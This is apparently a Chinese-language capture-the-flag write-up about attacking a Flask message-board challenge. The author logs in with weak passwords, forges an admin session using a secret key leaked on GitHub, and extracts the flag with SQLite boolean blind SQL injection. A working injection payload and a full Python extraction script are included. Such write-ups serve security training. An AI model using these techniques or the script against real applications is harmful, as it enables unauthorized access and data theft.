进入页面,是一个留言板,查看 Http报文相应头,是 Flask框架


点击登录,可以利用弱密码登录:
user/user&&test/test,但是却没有办法进入管理页面,提示无权限
在扫描目录,以及爆破 admin用户密码均无果后,发现flag用户的图片外链是 github仓库,想到会存在源码泄露,于是查看作者的仓库:

查看这个月 push的仓库,发现了泄露的 secret key,并且注意到后端数据库是 Sqlite

利用私钥伪造管理员的 session token

进入管理后台后发现存在两个接口:

在一番尝试后,发现添加用户的接口后台应该是
insertintousers(username,passwdhash)values(xx,xx)
而在页面渲染的时候应该直接是 SQLAlchemy将数据 select*,然后进行遍历渲染,因为SQL语句中没有 where字句,所以想利用注册用户名进行二次注入是行不通的
并且在渲染时不存在 ssti,因为遇到 Jinja2引擎,第一想法当然是模版注入,但这里走不通
然后在一番 Google后,想到这里应该是 Sqlite数据库的盲注,但是经测试 sqlite数据库的延时函数 randomblob被过滤了,所以无法进行延时注入
结合这两个接口的功能,我们可以想到,可以利用删除用户的接口进行 Bool盲注:
iv4n iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -假如 and后的条件为真,即删除创建的 iv4n用户,通过查看返回页面是否存在字符串 iv4n进行布尔盲注,盲注脚本:
import requests
url = "http://172.93.39.218:8888/admin"
_cookies = {"session": "eyJuYW1lIjoiYWRtaW4ifQ.XB8bYA.JJ0tfi65cm3uS-ATDe9FNls4y_Y"}
flag = "flag{db"
for i in range(8, 50):
r = requests.post(url, cookies=_cookies, data={"username": "iv4n", "password":"a"})
for j in "1234567890qazxswedcvfrtgbnhyujmkiolp{}":
r = requests.post(url, cookies=_cookies, data={
"usernamedel": f"iv4n' and (select hex(substr(flag,{i},1)) from flag)=hex('{j}')-- -"
})
if "iv4n" not in r.text:
flag += j
break
print(flag)运行脚本,拿到flag
